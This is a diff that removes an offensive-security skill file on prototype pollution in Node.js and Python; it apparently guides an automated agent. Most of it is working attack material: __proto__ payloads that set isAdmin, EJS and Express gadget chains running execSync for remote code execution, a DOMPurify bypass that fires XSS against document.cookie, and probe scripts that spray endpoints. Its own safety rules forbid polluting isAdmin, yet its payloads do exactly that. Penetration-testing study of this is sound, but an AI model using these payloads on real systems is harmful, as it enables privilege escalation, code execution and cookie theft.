git:20260602.95e27a7 to git:20260709.a882698

- Prototype Pollution detection and gadget chaining. Covers server-side (Node.js

- merge/deep-extend, Python class pollution) and client-side (DOM clobbering,

- DOMPurify bypass, jQuery deep-extend). Includes gadget chains for RCE via

- EJS/Pug/Handlebars and XSS via DOMPurify bypass.

- tags: "prototype-pollution,prototype,nodejs,python,jquery,dumpurify,gadget,xss,rce"

- category: "offensive-security"

- # Prototype Pollution — Detection & Exploitation

-

- > Polluting Object.prototype or Class.__proto__ can modify application behavior

- > globally. A single polluted property can trigger XSS, RCE, or auth bypass

- > deep in framework internals.

-

- ## 1. Server-Side Detection (Node.js)

-

- ### Detection Payloads

-

- Send to ANY endpoint that merges JSON objects (user settings, preferences, etc.):

-

- ```json

- {"__proto__": {"isAdmin": true}}

- {"constructor": {"prototype": {"isAdmin": true}}}

- {"__proto__": {"status": "polluted"}}

- ```

-

- ### Verify Pollution

-

- After sending the payload, check if the property persisted:

-

- ```python

- # Send a request that queries object properties

- # If the server reflects Object.keys() or has any GET endpoint

- # that returns user data, check for the polluted property

- resp = fetch("{target}/api/user/me")

- assert "isAdmin" not in resp.json() # Should NOT be in response normally

- # If isAdmin now appears → pollution confirmed

- ```

-

- ### Vulnerable Node.js Patterns

-

- ```javascript

- // lodash.merge (vulnerable before 4.6.0)

- _.merge(target, req.body);

-

- // lodash.defaultsDeep

- _.defaultsDeep(target, req.body);

-

- // Custom recursive merge

- function merge(a, b) {

- for (let key in b) {

- if (typeof b[key] === 'object') {

- a[key] = merge(a[key] || {}, b[key]);

- } else {

- a[key] = b[key];

- }

- }

- }

-

- // Object.assign (shallow — needs nested path)

- Object.assign(target, req.body);

- ```

-

- ## 2. Client-Side Detection

-

- ### URL Parameter Pollution

-

- ```

- https://target.com/page?__proto__[isAdmin]=true

- https://target.com/page?constructor[prototype][isAdmin]=true

- ```

-

- ### JavaScript Detection Gadget

-

- ```javascript

- // Inject via evaluate_script in chrome-devtools

- (function() {

- // Test 1: Check if Object.prototype is already polluted

- var test = {};

- var pollutedKeys = [];

- for (var key in test) {

- pollutedKeys.push(key);

- }

-

- // Test 2: Try to pollute and verify

- try {

- var a = {};

- a.__proto__.polluted = true;

- var b = {};

- if (b.polluted === true) {

- return {vulnerable: true, method: "direct __proto__", pollutedKeys: pollutedKeys};

- }

- } catch(e) {}

-

- // Test 3: Via constructor

- try {

- var a = {};

- a.constructor.prototype.polluted2 = true;

- var b = {};

- if (b.polluted2 === true) {

- return {vulnerable: true, method: "constructor.prototype", pollutedKeys: pollutedKeys};

- }

- } catch(e) {}

-

- return {vulnerable: false, pollutedKeys: pollutedKeys};

- })();

- ```

-

- ## 3. Gadget Chains

-

- ### Gadget 1: DOMPurify Bypass → XSS

-

- ```json

- POST /api/preferences HTTP/1.1

- Content-Type: application/json

-

- {"__proto__": {

- "ALLOWED_ATTR": ["onerror", "src", "onload"],

- "ALLOWED_URI_REGEXP": null

- }}

- ```

-

- After polluting ALLOWED_ATTR:

- ```html

- <img src=x onerror=alert(document.cookie)>

- → DOMPurify now ALLOWS onerror → XSS fires

- ```

-

- ### Gadget 2: EJS Template Engine → RCE

-

- ```json

- POST /api/settings HTTP/1.1

- Content-Type: application/json

-

- {"__proto__": {

- "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"

- }}

- ```

-

- When the server renders ANY EJS template after pollution:

- ```

- outputFunctionName = "x;process.mainModule.require('child_process').execSync('id');s"

- → RCE

- ```

-

- ### Gadget 3: Handlebars → RCE

-

- ```json

- POST /api/preferences HTTP/1.1

- Content-Type: application/json

-

- {"__proto__": {

- "knownHelpers": {

- "exec": true

- },

- "precompileOptions": {

- "knownHelpersOnly": false

- }

- }}

- ```

-

- ### Gadget 4: Express View Options → RCE

-

- ```json

- POST /api/settings HTTP/1.1

- Content-Type: application/json

-

- {"__proto__": {

- "view options": {

- "client": true,

- "escapeFunction": "function(){};process.mainModule.require('child_process').execSync('id');"

- }

- }}

- ```

-

- ### Gadget 5: Nested Property Pollution (lodash.defaultsDeep)

-

- ```json

- POST /api/config HTTP/1.1

- Content-Type: application/json

-

- {"constructor": {

- "prototype": {

- "env": {

- "NODE_OPTIONS": "--require /proc/self/environ"

- },

- "shell": "/bin/bash"

- }

- }}

- ```

-

- ## 4. Python Class Pollution

-

- ```python

- # Python class pollution via merge operations

-

- # Payload:

- {"__class__": {"__init__": {"__globals__": {"polluted": True}}}}

- {"__class__": {"__base__": {"__subclasses__": "..."}}}

-

- # Vulnerable pattern:

- # user_input_processed_by_merge(data, request.json)

- # → If merge allows __class__ traversal

-

- # Detection:

- # Send payload → check if new attributes appear on base classes

- ```

-

- ## 5. Automated Test Sequence

-

- ### Server-Side Probe

-

- ```python

- import json

-

- payloads = [

- {"__proto__": {"ppTest": "polluted_001"}},

- {"constructor": {"prototype": {"ppTest": "polluted_002"}}},

- {"__proto__": {"isAdmin": True}},

- ]

-

- endpoints_to_test = [

- "/api/user/settings",

- "/api/user/preferences",

- "/api/config",

- "/api/profile",

- "/api/account",

- ]

-

- for endpoint in endpoints_to_test:

- for payload in payloads:

- resp = fetch(f"{{target}}{endpoint}",

- method="POST",

- headers={"Content-Type": "application/json"},

- body=json.dumps(payload))

-

- # Check for 200 — pollution was accepted

- if resp.status == 200:

- # Verify: check if property persisted on next GET

- check = fetch(f"{{target}}{endpoint}", method="GET")

- if "ppTest" in check.text or "isAdmin" in check.text:

- log(f"[VULNERABLE] {endpoint} with {payload}")

- ```

- ### Client-Side Probe

- ```javascript

- // Inject via chrome-devtools

- var testPayloads = [

- {key: "__proto__[ppTest]", value: "polluted_001"},

- {key: "constructor[prototype][ppTest]", value: "polluted_002"},

- ];

- // For each input on the page, inject test payload

- document.querySelectorAll('input, textarea').forEach(function(el) {

- var form = el.closest('form');

- if (form) {

- // Submit with pollution payloads

- }

- });

- // After submit, check:

- var testObj = {};

- var isPolluted = false;

- for (var key in testObj) {

- if (testObj[key] && String(testObj[key]).includes('polluted')) {

- isPolluted = true;

- }

- }

- ```

- ## 6. Output

- ```

- findings/

- └── prototype_pollution/

- ├── _pollution_probes.json # All probes sent

- ├── _vulnerable_endpoints.json # Endpoints with confirmed pollution

- ├── _gadgets_available.json # Gadgets found in JS source

- └── _poc/

- ├── dompurify_bypass.html # DOMPurify bypass PoC

- └── ejs_rce_poc.js # EJS RCE PoC

- ```

- ## 7. Rules

- ```

- ⛔ Only pollute test properties (ppTest, pollution_test)

- ⛔ NEVER pollute production properties (isAdmin, role, balance)

- ⛔ Clean up after test: DELETE the test account/settings

- ⛔ Server-side pollution affects ALL users — test ONCE, clean immediately

- ```